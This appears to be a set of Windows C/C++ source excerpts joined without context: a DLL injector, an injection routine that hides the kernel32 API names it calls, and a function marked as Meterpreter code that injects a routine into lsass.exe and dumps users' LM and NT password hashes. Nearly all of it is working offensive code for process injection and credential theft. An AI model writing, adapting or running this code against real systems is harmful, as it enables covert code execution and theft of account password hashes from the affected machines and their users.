void DllInjector::inject_into_pid(int pid) { if (!file_exists(dll_path)) throw std::runtime_error("File '" + dll_path + "' does not exist!"); HANDLE process = open_process(pid); void* memory_ptr = allocate_process_memory(pid, process); write_process_memory(pid, process, memory_ptr); HANDLE thread = create_remote_thread(pid, process, memory_ptr); run_thread(thread); }
int inject_library_obf(HANDLE process, const wchar_t *dll, const char *create_remote_thread_obf, uint64_t obf1, const char *write_process_memory_obf, uint64_t obf2, const char *virtual_alloc_ex_obf, uint64_t obf3, const char *virtual_free_ex_obf, uint64_t obf4, const char *load_library_w_obf, uint64_t obf5) { int ret = INJECT_ERROR_UNLIKELY_FAIL; DWORD last_error = 0; bool success = false; size_t written_size; DWORD thread_id; HANDLE thread; size_t size; void *mem; /* -------------------------------- */ HMODULE kernel32 = GetModuleHandleW(L"KERNEL32"); create_remote_thread_t create_remote_thread; write_process_memory_t write_process_memory; virtual_alloc_ex_t virtual_alloc_ex; virtual_free_ex_t virtual_free_ex; FARPROC load_library_w; create_remote_thread = get_obfuscated_func(kernel32, create_remote_thread_obf, obf1); write_process_memory = get_obfuscated_func(kernel32, write_process_memory_obf, obf2); virtual_alloc_ex = get_obfuscated_func(kernel32, virtual_alloc_ex_obf, obf3); virtual_free_ex = get_obfuscated_func(kernel32, virtual_free_ex_obf, obf4); load_library_w = get_obfuscated_func(kernel32, load_library_w_obf, obf5); /* -------------------------------- */ size = (wcslen(dll) + 1) * sizeof(wchar_t); mem = virtual_alloc_ex(process, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!mem) { goto fail; } success = write_process_memory(process, mem, dll, size, &written_size); if (!success) { goto fail; } thread = create_remote_thread(process, NULL, 0, (LPTHREAD_START_ROUTINE)load_library_w, mem, 0, &thread_id); if (!thread) { goto fail; } if (WaitForSingleObject(thread, 4000) == WAIT_OBJECT_0) { DWORD code; GetExitCodeThread(thread, &code); ret = (code != 0) ? 0 : INJECT_ERROR_INJECT_FAILED; SetLastError(0); } fail: if (ret == INJECT_ERROR_UNLIKELY_FAIL) { last_error = GetLastError(); } if (thread) { CloseHandle(thread); } if (mem) { virtual_free_ex(process, mem, 0, MEM_RELEASE); } if (last_error != 0) { SetLastError(last_error); } return ret; }
/*! * @brief Function driving the SAM dumping. * @param dwMillisecondsToWait How long to wait for the results before giving up. * @param hashresults Pointer that will receive the hash dump results. * @returns Indication of success or failure. */ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults) { HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL; LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL; DWORD_PTR dwFunctionSize; SIZE_T sBytesWritten = 0, sBytesRead = 0; DWORD dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0; FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments; USERNAMEHASH *UsernameHashResults = NULL; PVOID UsernameAddress = NULL; DWORD dwError = 0; char *hashstring = NULL; /* METERPRETER CODE */ char buffer[100]; /* END METERPRETER CODE */ do { /* ORANGE control input - move this to the client perl side */ if (dwMillisecondsToWait < 60000) { dwMillisecondsToWait = 60000; } if (dwMillisecondsToWait > 300000) { dwMillisecondsToWait = 300000; } /* create the event kernel sync objects */ hReadLock = CreateEvent(NULL, FALSE, FALSE, READ_SYNC_EVENT_NAME); hFreeLock = CreateEvent(NULL, FALSE, FALSE, FREE_SYNC_EVENT_NAME); if (!hReadLock || !hFreeLock) { dwError = GetLastError(); break; } /* calculate the function size */ if ((DWORD_PTR)dump_sam >= (DWORD_PTR)sizer) { dprintf("Error calculating the function size."); dwError = ERROR_INVALID_PARAMETER; break; } dwFunctionSize = (DWORD_PTR)sizer - (DWORD_PTR)dump_sam; if ((dwError = set_access_priv()) != ERROR_SUCCESS) { dprintf("Error setting SE_DEBUG_NAME privilege: %u (%x)"); break; } hLsassHandle = get_lsass_handle(); if (hLsassHandle == 0) { dwError = ERROR_INVALID_PARAMETER; dprintf("Error getting lsass.exe handle."); break; } /* set the arguments in the context structure */ if ((dwError = setup_dump_sam_arguments(&InitFunctionArguments, dwMillisecondsToWait)) != ERROR_SUCCESS) { dprintf("[PASSWD] Unable to set arguments %u (%x)", dwError, dwError); break; } /* allocate memory for the context structure */ pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pvParameterMemory == NULL) { dwError = GetLastError(); dprintf("[PASSWD] Failed to allocat memory %u (%x)", dwError, dwError); break; } /* write context structure into remote process */ if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = GetLastError(); dprintf("[PASSWD] Failed to write process memory for function args %u (%x)", dwError, dwError); break; } if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; } sBytesWritten = 0; /* allocate memory for the function */ pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, dwFunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pvFunctionMemory == NULL) { dwError = GetLastError(); dprintf("[PASSWD] Failed to allocate process memory %u (%x)", dwError, dwError); break; } /* write the function into the remote process */ if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dump_sam, dwFunctionSize, &sBytesWritten) == 0) { dwError = GetLastError(); dprintf("[PASSWD] Failed to write process memory for function body %u (%x)", dwError, dwError); break; } if (sBytesWritten != dwFunctionSize) { dwError = 1; break; } sBytesWritten = 0; /* start the remote thread */ if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory)) == NULL) { dwError = GetLastError(); dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError); break; } /* wait until the data is ready to be collected */ if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) { dwError = GetLastError(); dprintf("[PASSWD] Timed out waiting for the data to be collected: %u (%x)", dwError, dwError); break; } /* read results of the injected function */ if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = GetLastError(); dprintf("[PASSWD] Failed to read process memory to get result: %u (%x)", dwError, dwError); break; } if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; } sBytesRead = 0; /* allocate space for the results */ UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize); if (UsernameHashResults == NULL) { dwError = 1; break; } /* determine the number of elements and copy over the data */ dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH); /* copy the context structure */ if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { dwError = GetLastError(); dprintf("[PASSWD] Failed to read process memory to get hashresults: %u (%x)", dwError, dwError); break; } if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; } sBytesRead = 0; // save the old mem addy, malloc new space, copy over the data, free the old mem addy for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) { UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username; UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1); if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; } if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; } if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; } UsernameHashResults[dwCurrentUserIndex].Username[UsernameHashResults[dwCurrentUserIndex].Length] = 0; } /* signal that all data has been read and wait for the remote memory to be free'd */ if (SetEvent(hFreeLock) == 0) { dwError = 1; break; } if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) { dprintf("The timeout hit.\n"); dwError = 1; break; } /* display the results and free the malloc'd memory for the username */ for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) { /* METERPRETER CODE */ hashstring = string_combine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username); hashstring = string_combine(hashstring, ":"); _snprintf_s(buffer, sizeof(buffer), 30, "%d", UsernameHashResults[dwCurrentUserIndex].RID); hashstring = string_combine(hashstring, buffer); hashstring = string_combine(hashstring, ":"); /* END METERPRETER CODE */ //printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID); for (HashIndex = 16; HashIndex < 32; HashIndex++) { /* ORANGE - insert check for ***NO PASSWORD*** if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5) && (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) ) sprintf( LMdata, "NO PASSWORD*********************" ); */ _snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex])); hashstring = string_combine(hashstring, buffer); //printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex])); } hashstring = string_combine(hashstring, ":"); //printf(":"); for (HashIndex = 0; HashIndex < 16; HashIndex++) { /* ORANGE - insert check for ***NO PASSWORD*** if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1) && (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) ) sprintf( NTdata, "NO PASSWORD*********************" ); */ _snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex])); hashstring = string_combine(hashstring, buffer); //printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex])); } hashstring = string_combine(hashstring, ":::\n"); //printf(":::\n"); } } while (0); /* relesase the event objects */ if (hReadLock) { CloseHandle(hReadLock); } if (hFreeLock) { CloseHandle(hFreeLock); } /* close handle to lsass */ if (hLsassHandle) { CloseHandle(hLsassHandle); } /* free the context structure and the injected function and the results */ if (pvParameterMemory) { VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE); } if (pvFunctionMemory) { VirtualFreeEx(hLsassHandle, pvFunctionMemory, dwFunctionSize, MEM_RELEASE); } /* free the remote thread handle */ if (hThreadHandle) { CloseHandle(hThreadHandle); } /* free the results structure including individually malloced space for usernames */ if (UsernameHashResults) { for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) { if (UsernameHashResults[dwCurrentUserIndex].Username) { free(UsernameHashResults[dwCurrentUserIndex].Username); } } free(UsernameHashResults); } /* return hashresults */ *hashresults = hashstring; /* return the correct code */ return dwError; }